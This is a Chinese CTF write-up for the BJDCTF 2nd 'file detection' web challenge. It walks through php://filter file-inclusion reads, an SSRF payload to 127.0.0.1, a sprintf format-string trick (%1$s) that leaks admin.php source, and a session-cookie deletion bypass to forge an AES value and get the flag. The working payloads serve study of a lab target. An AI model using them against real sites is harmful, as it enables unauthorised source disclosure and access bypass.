zoukankan      html  css  js  c++  java
  • [BUUOJ记录] [BJDCTF 2nd]文件探测

    感觉算是这次比赛里面综合性很强的一道题了,主要考察SSRF、PHP伪协议包含、挖掘逻辑漏洞和一个小tirck。委屈的是第一天晚上就做到了最后一步,想到了SESSION置空即可绕过,但是最后读Flag姿势不对导致比赛结束都没做出来......QAQ

    进入题目Header发现Hint,BJD一贯的尿性,做BJD题目的时候F12不能关 - .-

    根据提示进入home.php,发现URL变成了:

    http://d3a0ad27-3c95-46f7-bfc2-208e580c984b.node3.buuoj.cn/home.php?file=system

    file的值是system,实际上包含的是system.php文件,猜测后端应该是自动拼接拓展名的

    怀疑存在文件包含,用php://filter伪协议试着读一下:

    php://filter/read=convert.base64-encode/resource=home

    解码获得home.php的源码:

    <?php
    
    setcookie("y1ng", sha1(md5('y1ng')), time() + 3600);
    setcookie('your_ip_address', md5($_SERVER['REMOTE_ADDR']), time()+3600);
    
    if(isset($_GET['file'])){
        if (preg_match("/^|~|&||/", $_GET['file'])) {  //过滤了^、~、&、|字符
            die("forbidden");
        }
    
        if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){   //不能包含含有flag字符的文件
            die("not now!");
        }
    
        if(preg_match("/.?a.?d.?m.?i.?n.?/i", $_GET['file'])){  //不能包含含有admin字符的文件
            die("You! are! not! my! admin!");
        }
    
        if(preg_match("/^home$/i", $_GET['file'])){    //不能只包含home字符串
            die("禁止套娃");
        }
    
        else{
            if(preg_match("/home$/i", $_GET['file']) or preg_match("/system$/i", $_GET['file'])){
                $file = $_GET['file'].".php";
            }
            else{
                $file = $_GET['file'].".fxxkyou!";   //只能以home和system结尾
            }
            echo "现在访问的是 ".$file . "<br>";
            require $file;
        }
    } else {
        echo "<script>location.href='./home.php?file=system'</script>";
    }

    一些约束我已经注释在了代码后面,可以看到其实还是限制比较大的,但是还可以用同样的办法读到system.php的源码:

    <?php
    error_reporting(0);
    if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){
        echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";
        header("Refresh:0.1;url=index.php");
        die;
    }
    
    $str2 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;url invalid<br>~$ ';
    $str3 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;damn hacker!<br>~$ ';
    $str4 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;request method error<br>~$ ';
    
    ?>
    
    ......<此处HTML代码省略>
    <?php $filter1 = '/^http://127.0.0.1//i'; $filter2 = '/.?f.?l.?a.?g.?/i'; if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) { $url = $_POST['q2'].".y1ng.txt"; $method = $_POST['q3']; $str1 = "~$ python fuck.py -u "".$url ."" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>"; echo $str1; if (!preg_match($filter1, $url) ){ die($str2); } if (preg_match($filter2, $url)) { die($str3); } if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) { die($str4); } $detect = @file_get_contents($url, false); print(sprintf("$url method&content_size:$method%d", $detect)); } ?>

    重点关注后半段PHP代码,我们可以获取到以下的限制条件:

    1.不能包含有flag字符串

    2.q2的值必须以http://127.0.0.1/开头,其实相当于是限制了只能通过SSRF读取文件

    3.POST获取了q1、q2、q3三个值,其中q1值并没有什么限制,q2后会拼接“.y1ng.txt”字符串,q3中需要以GET或POST字符串开头。

    首先是无法直接读取到flag文件,通过home.php文件的源码我们可以猜测应该还存在admin.php文件,

    其次就是我们传进去的URL即q2值会被拼接上无用字符串,我们可以通过在URL后加 "?a=(GET赋值给一个参数)" 或 "#(锚点)" 来让其失效,

    最后一个考的点就是在这两行代码上:

    $detect = @file_get_contents($url, false);
    print(sprintf("$url method&content_size:$method%d", $detect));

    这里牵扯到了字符串的格式化的知识,%d会将$detect(即源码)以二进制数的形式输出,所以并不能得到我们需要的源码。

    而主要思路就是让$detect以字符串形式(%s)来输出,我们有两种读取admin.php源码的方法:

    1. %1$s  ——  这种办法原理是%1$s会将第一个参数用string类型输出,而这道题中第一个参数便是admin.php的源码,语句是:

    print(sprintf("$url method&content_size:"GET%1$s%d", $detect));  // %1$s会以字符串格式输出$detect,而%d会输出0

    2. %s%  ——  这种办法的原理是sprintf()函数中%可以转义掉%,这样语句就变成了:

    print(sprintf("$url method&content_size:"GET%s%%d", $detect));  // %d前的%被转义,因此失

    构造出Payload,POST发送给system.php即可获得admin.php的源码:

    q1=1&q2=http://127.0.0.1/admin.php#&q3=GET%1$s 

    得到admin.php的源码:

    <?php
    error_reporting(0);
    session_start();
    $f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake
    
    function aesEn($data, $key)
    {
        $method = 'AES-128-CBC';
        $iv = md5($_SERVER['REMOTE_ADDR'],true);
        return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
    }
    
    function Check()
    {
        if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
            return true;
        else
            return false;
    }
    
    if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
        highlight_file(__FILE__);
    } else {
        echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
    }
    
    
    $_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);
    
    if (isset($_GET['decrypt'])) {   //只要传入decrypt参数就不会生成随机数
        $decr = $_GET['decrypt'];
        if (Check()){
            $data = $_SESSION['secret'];
            include 'flag_2sln2ndln2klnlksnf.php';
            $cipher = aesEn($data, 'y1ng');  //注意!这里加密的内容是从SESSION中取的,突破点就在这里
            if ($decr === $cipher){
                echo WHAT_YOU_WANT;   
            } else {
                die('爬');
            }
        } else{
            header("Refresh:0.1;url=index.php");
        }
    } else {
        //I heard you can break PHP mt_rand seed
        mt_srand(rand(0,9999999));   //这里的种子是真随机了,无法爆破
        $length = mt_rand(40,80);
        $_SESSION['secret'] = bin2hex(random_bytes($length));
    }
    
    
    ?>

    这里其实出题人还把代码缩进了一下,能看清楚每个循环的对应。

    主要代码中第一层if循环else代码块中的mt_srand随机数是真随机了,不像是上一届中的可以爆破,所以我们从上面的代码块入手。

    这里有一个Trick:

    session绕过。删除cookie,没有cookie中的SESSIONID就找不到对应的session文件,相应的$_SESSION['var']就为NULL,传参NULL。

    引用自: https://www.jianshu.com/p/9c031dee57b7

    所以只要我们在访问admin.php时,删除session访问,代码就会变成:

    $cipher = aesEn(NULL, 'y1ng');

    因此我们就可以计算出密钥,从而获得Flag。

    把加密算法改一下得到:

    function aesEn($data, $key){
        $method = 'AES-128-CBC';
        $iv = md5('174.0.222.75',true);
        return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
    }
    
    echo aesEn('', 'y1ng')

    得到密钥:70klfZeYC+WlC045CcKhtg==

    这里还有个坑,密钥中是有+符号的,直接用明文去访问得不到Flag!所以URL编码一下,然后删除掉SESSION再访问就可以得到Flag:

  • 相关阅读:
    数据库
    计算机基础知识系列
    《大话数据结构》参考
    数据结构与算法系列
    python cookbook
    Python教程 廖雪峰
    Python入门学习系列
    认识 React——声明式,高效且灵活的用于构建用户界面的 JavaScript 库
    线程---同步(synchronized)
    线程---插队和礼让执行(join和yield)
  • 原文地址:https://www.cnblogs.com/yesec/p/12554957.html
Copyright © 2011-2022 走看看